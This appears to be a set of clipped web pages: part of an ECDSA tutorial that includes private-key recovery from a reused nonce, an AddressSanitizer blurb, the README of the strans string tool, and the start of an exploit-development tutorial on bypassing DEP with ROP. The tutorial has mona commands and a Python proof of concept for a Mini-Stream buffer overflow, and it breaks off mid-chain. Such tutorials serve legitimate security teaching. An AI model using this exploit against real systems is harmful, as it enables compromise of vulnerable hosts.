ECDSA works on the hash of the message, rather than on the message itself. The
choice of the hash function is up to us, but it should be obvious that a
cryptographically-secure hash function should be chosen. **The hash of the
message ought to be truncated** so that the bit length of the hash is the same
as the bit length of _n_ \(the order of the subgroup\). **The truncated hash
is an integer and will be denoted as _z_.**

The algorithm performed by Alice to sign the message works as follows:

  1. Take a **random integer _k_** chosen from \{1, …, _n_ – 1\} \(where _n_ is still the subgroup order\).
  2. Calculate the point **_P_ = _kG_** \(where _G_ is the base point of the subgroup\).
  3. Calculate the number **_r_ = _x P_ mod _n_** \(where _x P_ is the _x_ coordinate of _P_\).
  4. If _r_ = 0, then choose another _k_ and try again.
  5. Calculate **_s_ = _k_ -1 \(_z_ \+ _rd A_\) mod _n_** \(where _d A_ is Alice’s private key and _k_ -1 is the multiplicative inverse of _k_ modulo _n_\).
  6. If _s_ = 0, then choose another _k_ and try again.

The pair **\(_r_ , _s_\) is the signature**.

<img src='img/Temp2_2681.png' alt='ECDSA' />

Alice signs the hash _z_ using her private key _d A_ and a random _k_. Bob
verifies that the message has been correctly signed using Alice’s public key
_H A_.

In plain words, this algorithm first generates a secret \(_k_\). This secret
is hidden in _r_ thanks to point multiplication \(that, as we know, is “easy”
one way, and “hard” the other way round\). _r_ is then bound to the message
hash by the equation _s_ = _k_ -1 \(_z_ \+ _rd A_\) mod _n_.

Note that in order to calculate _s_ , we have computed the inverse of _k_
modulo _n_. We have already said in the previous post that this is guaranteed
to work only if _n_ is a prime number. **If a subgroup has a non-prime order,
ECDSA can’t be used.** It’s not by chance that almost all standardized curves
have a prime order, and those that have a non-prime order are unsuitable for
ECDSA.

### Verifying signatures

In order to verify the signature we’ll need Alice’s public key _H A_, the
\(truncated\) hash _z_ and, obviously, the signature \(_r_ , _s_\).

  1. Calculate the integer _u_ 1 = _s_ -1 _z_ mod _n_.
  2. Calculate the integer _u_ 2 = _s_ -1 _r_ mod _n_.
  3. Calculate the point _P_ = _u_ 1 _G_ \+ _u_ 2 _H A_.

The signature is valid only if _r_ = _x P_ mod _n_.

## Correctness of the algorithm

The logic behind this algorithm may not seem obvious at a first sight, however
if we put together all the equations we have written so far, things will be
clearer.

Let’s start from _P_ = _u_ 1 _G_ \+ _u_ 2 _H A_. We know, from the definition
of public key, that _H A_ = _d AG_ \(where _d A_ is the private key\). We can
write:

<img src='img/Temp2_2687.png' alt='\begin{array}{rl} P & = u_1 G + u_2 H_A \\
& = u_1 G + u_2 d_A G \\ & = (u_1 + u_2 d_A) G \end{array} ' />

Using the definitions of _u_ 1 and _u_ 2, we can write:

<img src='img/Temp2_2684.png' alt='\begin{array}{rl} P & = (u_1 + u_2 d_A) G
\\ & = (s^{-1} z + s^{-1} r d_A) G \\ & = s^{-1} (z + r d_A) G \end{array} '
/>

Here we have omitted “mod _n_ ” both for brevity, and because the cyclic
subgroup generated by _G_ has order _n_ , hence “mod _n_ ” is superfluous.

Previously, we had defined _s_ = _k_ -1 \(_z_ \+ _rd A_\) mod _n_. Multiplying
each side of the equation by _k_ and dividing by _s_ , we get: _k_ = _s_ -1
\(_z_ \+ _rd A_\) mod _n_. Substituting this result in our equation for _P_ ,
we get:

<img src='img/Temp2_2679.png' alt='\begin{array}{rl} P & = s^{-1} (z + r d_A)
G \\ & = k G \end{array} ' />

**This is the same equation for _P_ we had at step 2 of the signature
generation algorithm\!** When generating signatures and when verifying them,
we are calculating the same point _P_ , just with a different set of
equations. This is why the algorithm works.

### Playing with ECDSA

Of course, I’ve created **a Python script for signature generation and
verification**. The code shares some parts with the ECDH script, in particular
the domain parameters and the public/private key pair generation algorithm.

Here is the kind of output produced by the script:

[code]

    Curve: secp256k1
    Private key: 0x9f4c9eb899bd86e0e83ecca659602a15b2edb648e2ae4ee4a256b17bb29a1a1e
    Public key: (0xabd9791437093d377ca25ea974ddc099eafa3d97c7250d2ea32af6a1556f92a, 0x3fe60f6150b6d87ae8d64b78199b13f26977407c801f233288c97ddc4acca326)
    
    Message: b'Hello!'
    Signature: (0xddcb8b5abfe46902f2ac54ab9cd5cf205e359c03fdf66ead1130826f79d45478, 0x551a5b2cd8465db43254df998ba577cb28e1ee73c5530430395e4fba96610151)
    Verification: signature matches
    
    Message: b'Hi there!'
    Verification: invalid signature
    
    Message: b'Hello!'
    Public key: (0xc40572bb38dec72b82b3efb1efc8552588b8774149a32e546fb703021cf3b78a, 0x8c6e5c5a9c1ea4cad778072fe955ed1c6a2a92f516f02cab57e0ba7d0765f8bb)
    Verification: invalid signature
    
[/code]

As you can see, the script first signs a message \(the byte string
“Hello\!”\), then verifies the signature. Afterwards, it tries to verify the
same signature against another message \(“Hi there\!”\) and verification
fails. Lastly, it tries to verify the signature against the correct message,
but using another random public key and verification fails again.

### The importance of _k_

When generating ECDSA signatures, it is important to keep the secret _k_
really secret. If we used the same _k_ for all signatures, or if our random
number generator were somewhat predictable, **an attacker would be able to
find out the private key**\!

This is the kind of mistake made by Sony a few years ago. Basically, the
PlayStation 3 game console can run only games signed by Sony with ECDSA. This
way, if I wanted to create a new game for PlayStation 3, I couldn’t distribute
it to the public without a signature from Sony. The problem is: all the
signatures made by Sony were generated using a static _k_.

\(Apparently, Sony’s random number generator was inspired by either XKCD or
Dilbert.\)

In this situation, we could easily recover Sony’s private key _d S_ by buying
just two signed games, extracting their hashes \(_z_ 1 and _z_ 2\) and their
signatures \(\(_r_ 1, _s_ 1\) and \(_r_ 2, _s_ 2\)\), together with the domain
parameters. Here’s how:

  * First off, note that _r_ 1 = _r_ 2 \(because _r_ = _x P_ mod _n_ and _P_ = _kG_ is the same for both signatures\).
  * Consider that \(_s_ 1 – _s_ 2\) mod _n_ = _k_ -1 \(_z_ 1 – _z_ 2\) mod _n_ \(this result comes directly from the equation for _s_\).
  * Now multiply each side of the equation by _k_ : _k_ \(_s_ 1 – _s_ 2\) mod _n_ = \(_z_ 1 – _z_ 2\) mod _n_.
  * Divide by \(_s_ 1 – _s_ 2\) to get _k_ = \(_z_ 1 – _z_ 2\)\(_s_ 1 – _s_ 2\)-1 mod _n_.

The last equation lets us calculate _k_ using only two hashes and their
corresponding signatures. Now we can extract the private key using the
equation for _s_ :

<img src='img/Temp2_2682.png' alt='s = k^{-1}(z + rd_S) \bmod{n}\ \
\Rightarrow\ \ d_S = r^{-1} (sk - z) \bmod{n} ' />

Similar techniques may be employed if _k_ is not static but predictable in
some way.

# Have a great weekend

I really hope you enjoyed what I’ve written here. As usual, don’t hesitate to
leave a comment or send me a poke if you need help with something.

Next week I’ll publish the fourth and last article of this series. It’ll be
about techniques for solving discrete logarithms, some important problems of
Elliptic Curve cryptography, and how ECC compares with RSA. Don’t miss it\!

# address-sanitizer - AddressSanitizer: a fast memory error detector - Google
Project Hosting

**Created:**| _12/13/2011 4:12:17 PM_  
---|---  
**Updated:**| _12/13/2011 7:14:36 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification llvm_  
  
address-sanitizer - AddressSanitizer: a fast memory error detector - Google
Project HostingAddressSanitizer \(ASan\) is a fast memory error detector.  
It finds use-after-free and out-of-bound bugs in C/C++ programs.  
Learn more:

  * AddressSanitizer \-- how to use the tool.
  * AddressSanitizerAlgorithm \-- how it works.
  * Read if you are working on Chromium
  * Watch the presentation from the LLVM Developer's meeting \(Nov 18, 2011\): Video, slides.

Your comments are welcome at address-sanitizer@googlegroups.com or in Google+  
---

# Inventitech/strans

**Created:**| _4/25/2019 6:38:59 AM_  
---|---  
**Updated:**| _4/25/2019 6:38:59 AM_  
**Author:**| __  
**Tags:**| _programming Logs machine-learning_  
  

  

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='40'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='744' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>strans

<img
src='img/68747470733a2f2f7472617669732d63692e636f6d2f496e76656e7469746563682f737472616e732e7376673f746f6b656e3d3170506e54764b7773654a713763544c65654645266272616e63683d6d6173746572'
width='90' height='20' /> <img
src='img/68747470733a2f2f746f6b65692e72732f62312f6769746875622f696e76656e7469746563682f737472616e73'
width='102' height='20' /> <img
src='img/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f646f776e6c6f6164732f696e76656e7469746563682f737472616e732f746f74616c2e737667'
width='100' height='20' /> <img
src='img/68747470733a2f2f6261646765732e6769747465722e696d2f696e76656e7469746563682f737472616e732e737667'
width='92' height='20' />

`strans` \(string transform\) is an intuitive string manipulation utility for
the shell \(primarily Unix, but should work™ cross-platform\). Users do not
need to know anything about programming. All they need to do is provide
`strans` with a set of examples. `strans` will automagically learn
transformation rules from these examples and apply them to the input given on
STDIN.

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='41'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='747' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />How
to install

`strans` is distributed platform indepedently as a NuGet package, or \(if you
do not want to install dotnet\) standalone as an AppImage for Linux and as a
DMG for MacOs. Download the latest `strans` from releases.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='42'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='750' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Platform-independent global tool \(requires `dotnet`\)

`strans` is available as a global tool on NuGet. If you have `dotnet`
installed, you can simply `dotnet tool install -g strans` to install it \(or
use `dotnet tool update`, `uninstall` etc.\).

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='43'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='753' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Linux

Our AppImage should run on practically any recent linux Desktop distribution.

After downloading, simply do

`chmod +x strans-linux.AppImage ./strans-linux.AppImage`

To install it system-wide as `strans`, just

`sudo cp strans-linux.AppImage /usr/bin/strans`

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='44'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='760' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />MacOs

After mounting the `dmg` and copying `strans.app` into `/Applications`, it
might be necessary to

[code]

    chmod +x /Applications/strans.app/Contents/MacOS/strans
    /Applications/strans.app/Contents/MacOS/strans
    
[/code]

to run `strans`.

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='45'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='763' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />How
to use

[code]

    # With before and after example
    strans -b pattern-to-match -a desired-transformation
    
    # With file that contains examples
    strans -f file-with-examples
    
    # Help page
    strans --help
    
[/code]

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='46'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='764' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Examples

<img src='img/strans.gif' width='876' height='350' />

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='47'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='767' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Example 1: Extract ending of files

Assume that

[code]

    ls
    Document.pdf  Document2.pdf Document.txt  Document.png
    
[/code]

Now we want to get a unique list of all file endings present in the directory:

[code]

    ls | strans -b Document.pdf -a pdf | sort -u
    
[/code]

Note how nicely strans \(here defined as an alias\) integrates with other
tools.

Of course, as StackOverflow will tell you, we could obtain the same result
with

[code]

    ls | perl -ne 'print $1 if m/\.([^.\/]+)$/' | sort -u 
    
[/code]

But with `strans` we accomplished the same with much less brain work, without
StackOverflow and Perl, but instead with pure joy\!

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='48'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='774' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Example 2: Convert full names to their initials

[code]

    printf "Moritz Beller\nGeorgios Gousios" |
    strans -b "First Last" -a "FL"
    
[/code]

neatly outputs

[code]

    MB
    GG
    
[/code]

However, when we add a third entry with a middle name, Andy Emil Zaidman,
things start to break, as this does not appear in the initials:

[code]

    MB
    GG
    AZ
    
[/code]

We can fix this by providing `strans` with another example. We create a file
called `example-transformations`

[code]

    First Last => FL
    Firstname Middlename Lastname => FML
    
[/code]

and call

[code]

    printf "Moritz Beller\nGeorgios Gousios\nAndy Emil Zaidman" |
    strans --example-file example-transformations
    
[/code]

And, voila, the output is

[code]

    MB
    GG
    AEZ
    
[/code]

Note how `strans` adds the second example and generates a global
transformation rule that satisfies all examples given to it. Simply having the
last FML example would not be enough because it would miss the case where only
two names are available.

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='49'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='781' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />How
to develop

You need dotnet to run `strans`.

[code]

    git clone https://github.com/Inventitech/strans.git
    cd strans
    dotnet restore
    dotnet publish -c Release
    
[/code]

An alias \(in your bashrc, ...\) can make `strans` integrate seamlessly in a
Unix environment:

[code]

    alias strans="dotnet path/to/strans.dll"
    
[/code]

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='50'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='784' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Background

`strans` uses program-by-example techniques from Microsoft PROSE to come up
with the rules behind this string manipulation. PROSE allows the creation of
extremely complex string transformations within a matter of a few seconds by
just giving easy-to-write examples. In its essence, `strans` is only a light-
weight wrapper around and direct application of Microsoft's PROSE framework.
`strans` provides the goodness of the now-removed PowerShell \(\!\) command
Convert-String.

# FuzzySecurity | ExploitDev: Part 7
**Created:**| _4/6/2015 8:33:02 PM_  
---|---  
**Updated:**| _4/6/2015 8:33:02 PM_  
**Author:**| __  
**Tags:**| _fuzzing_  
  

# ExploitDev: Part 7

## Introduction

So what is all this madness and why should you care about it? People have been
abusing stack overflows for years. Whatever we may fault Microsoft for, and
lets face it there is allot, years of stack-smashing hasn't escape their
notice. As far as I'm aware, starting from WinXP SP2 and Win Server 2003 SP1,
Windows has implemented a new security feature to prevent code execution from
non-executable memory ranges. DEP \(Data Execution Prevention\) comes in two
flavors.

**Hardware Enforced DEP** : The CPU marks pages of memory as non-executable.  
**Software Enforced DEP** : Alternative for CPU's that do not support these
features.

CPU's that support hardware enforced DEP will refuse to execute code from
memory ranges that have the non-executable \(NX\) bit set. The main reason for
this is to prevent custom/malicious code to be inject into another program to
then be executed. This was mainly implemented to put up hurdles for malware
and stack-based exploits. However DEP can sometimes cause programs to behave
in unintended and erroneous ways because it prevents legitimate processes from
doing things they are supposed to do. To solve this problem DEP can be
configured in two ways on your host operating system.

**Opt-In Mode** : DEP is only enabled for system processes and specifically
defined programs.  
**Opt-Out Mode** : DEP is enabled for all programs and services except those
specifically/manually disabled.

So what does this mean for exploit development? When we attempt to execute any
code in a DEP enabled memory section \(weather we are talking about EIP or
shellcode\) an access violation will occur "STATUS\_ACCESS\_VIOLATION
\(0xc0000005\)" which will result in process termination. This is obviously
bad for us\! However the interesting thing about DEP is that it can be
disabled on a per-process basis, what this means practically is that there are
Windows API calls that can mark a range of memory as executable. The main
problem remains though, if we can't execute any code how can we make the call
to the Windows API functions?

Enter Return Oriented Programming \(ROP\). This technique was first introduced
by Sebastian Krahmer in 2005 on SUSE Linux, you can \(and should hehe\) read
his paper here. The basic idea is that we are going to borrow per-existing
chunks of code \(or as we will later call them gadgets\) from loaded modules
to create the parameters to our Windows API call. The reason this works is
that we are allowed to "execute" one single kind of instruction while DEP is
enabled, a RETN. Basically what RETN does is redirect execution to the next
pointer on the stack. By performing a RETN we are not actually executing any
code, in that sense it is kind of like DEP's version of a NOP. This should
clarify the term Return Oriented Programming, we will fill the stack with
pointers from application modules that contain sequences of instructions
ending in a RETN. Chaining these sequences together will allow us to execute
high level assembly computation. The following example should help to
illustrate this.

[code]

    (1) All our pointers on the stack directly         (2) All our pointers on the stack reference a location
        reference a RETN.                                  in memory that contains instructions followed by
                                                           a RETN (=gadget).
    
    ESP -> ???????? => RETN                            ESP -> ???????? => POP EAX # RETN
           ???????? => RETN                                   ffffffff => we put this value in EAX
           ???????? => RETN                                   ???????? => INC EAX # RETN
           ???????? => RETN                                   ???????? => XCHG EAX,EDX # RETN
    
    (1) In this case our RETN's will simply            (2) This is just an example but essentially we are
        increment ESP without doing anything.              zeroing out EDX using pre-existing instructions
                                                           that are located somewhere in the application 
                                                           without actally executing any code.
[/code]

You get the idea right\! We are going to enumerate all the ROP-Gadgets and
then chain them together to craft our API call which will in turn disable DEP
and allow us to execute our second stage payload. This technique relies on our
ability to reliably predict where certain instruction will be located within a
certain module so we can only use gadgets from modules that are non-rebase and
non-aslr.

There are many different API calls available across Windows Builds and Service
Packs. This table taken from corelan gives a nice overview of what can be used
to disable DEP based on Build and Service Pack.

<img src='img/Temp2_3371.png' alt='image1' />

As you see there is more than one way to skin a cat. Some methods are more
universal than others. These different API Calls are properly documented on
MSDN so take some time to read up on them and get a better grasp of the
parameters they require. The OS modules will be ASLR enabled so in general we
will see if the application modules contain pointers to any of these API
Calls. Based on what is available we can then start to build our ROP-Chain.

Basically there are two ways we can write our first stage ROP payload. \(1\)
We can load all the API parameters into the various registers and use a PUSHAD
instruction to push them to the stack in the proper order \(this is what we
will be doing today\). Or \(2\) we can directly write the parameters to the
stack in the proper order and then return to them \(this will be more
difficult\).

Finally I should mention that it is also possible to create an entire payload
in ROP. This requires serious Ninja-skills and is much less practical than
creating a ROP-Stager that disables DEP but it is way cool non the less hehe.

## Gathering Primitives

Exploit development is all about getting your facts straight. The more pieces
of information you gather, the more clear everything will be, the quicker you
will go from POC -> exploit. Let's kick things off with our POC, I have
cheated a bit and modified the POC to give a basic buffer structure that
overwrites EIP with four B's \(I assume by now you should be able to use a
metasploit pattern\).

Okay same old business, attach Mini-Stream to the debugger and open
"crash.m3u". You can see the resulting crash in the screenshot below. There
are a couple of things to take notice of: \(1\) Our buffer is located in the
ESP register which is good news because we can overwrite EIP with a simple
RETN to get to our ROP-Chain and \(2\) we should take note that ESP points
4-bytes into our C-buffer so we will need to compensate those bytes later.

<img src='img/Temp2_3373.png' />

EIP = 42424242

Good, we now have a basic idea about the memory layout. Lets break out mona
and have a look at the loaded modules \(remember non-rebase, non-ASLR and no
badcharacters\). Looks like there is only one dll that meets all our criteria
\(MSRMfilter03.dll\). We can let mona do more of the heavy lifting by having
it search for API pointers inside that dll which we can use for our ROP-Chain.
You can see the results in the screenshots below.

**\!mona modules  
\!mona ropfunc -m MSRMfilter03.dll -cpb '\x00\x09\x0a'**

<img src='img/Temp2_3375.png' />

Modules

<img src='img/Temp2_3376.png' />

Ropfunc

The final phase in the enumeration process is to have mona generate a list of
ROP-Gadgets based on the module we selected this is btw one of the most
amazing features of mona and a testament to the effort corelanc0d3r has put
into it\!\! Mona will generate a couple of important files: "rop.txt" \(a raw
list of all the ROP-Gadgets\), "rop\_suggestions.txt" \(a heavily filtered
list of ROP-Gadgets based on function\), "stackpivot.txt" \(a list of gadgets
that pivot ESP if you need them\) and "rop\_virtualprotect.txt" \(which tries
to build a ROP-Chain based on VirtualProtect\). I suggest you keep these files
open for easy reference, if you use notepad++ you can just have them open in
separate tabs. Even though we are going to be building a chain based on
VirtualAlloc, "rop\_virtualprotect.txt" is still useful to look at as some
basic gadgets we will need are in there.

**\!mona rop -m MSRMfilter03.dll -cpb '\x00\x09\x0a'**

<img src='img/Temp2_3370.png' />

Generate Gadgets

## Building our ROP-Chain

Before we get down to the serious stuff lets update our POC. Like we saw
before we can overwrite EIP wit a pointer to RETN because our buffer is
located in the ESP register. If you open "rop.txt" you can select any one of
the instructions and modify the address so you just retain the RETN. While we
are at it we’re going to set up a variable for our ROP-Chain and we won't
forget to compensate those 4-bytes we noticed earlier.

?

`#!/usr/bin/python` `import` `sys, struct` `file` `=` `"crash.m3u"` `rop ` `=`
`struct.pack(` `'<L'` `,` `0x41414141` `) ` `# padding to compensate 4-bytes
at ESP`
`#---------------------------------------------------------------------#` `#
Badchars: '\x00\x09\x0a' #` `# kernel32.virtualalloc: 0x1005d060
(MSRMfilter03.dll) #` `# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll) #`
`#---------------------------------------------------------------------#`
`crash ` `=` `"http://."` `+` `"A"` `*` `17416` `+` `"\x60\x9C\x01\x10"` `+`
`rop ` `+` `"C"` `*` `(` `7572` `-` `len` `(rop))` `writeFile ` `=` `open` `(`
`file` `, ` `"w"` `)` `writeFile.write( crash )` `writeFile.close()`  
---  
Ok so far so good, lets have a look at VirtualAlloc. I suggest you take some
time to read the documentation on MSDN to get a better understanding of the
parameters we will be using.

VirtualAlloc: MSDN

As you can see the structure of the API-Call is relatively simple most of the
values we need to set are per-defined. For posterity I will also layout the
structure of VirtualProtect as these to are the most common ROP-Stagers and
they are universal API-Calls across all Windows builds.

VirtualProtect: MSDN

With this information in mind, lets update our POC so we have a clear picture
of the steps we need to take to write our ROP-Chain.

?

`#!/usr/bin/python` `import` `sys, struct` `file` `=` `"crash.m3u"`
`#---------------------------------------------------------[Structure]-#` `#
LPVOID WINAPI VirtualAlloc( => PTR to VirtualAlloc #` `# _In_opt_ LPVOID
lpAddress, => Return Address (Call to ESP) #` `# _In_ SIZE_T dwSize, => dwSize
(0x1) #` `# _In_ DWORD flAllocationType, => flAllocationType (0x1000) #` `#
_In_ DWORD flProtect => flProtect (0x40) #` `# ); #`
`#---------------------------------------------------[Register Layout]-#` `#
Remember (1) the stack grows downwards so we need to load the #` `# values
into the registers in reverse order! (2) We are going to do #` `# some clever
trickery to align our return after executing. To #` `# acchieve this we will
be filling EDI with a ROP-Nop and we will be #` `# skipping ESP leaving it
intact. #` `# #` `# EAX 90909090 => Nop #` `# ECX 00000040 => flProtect #` `#
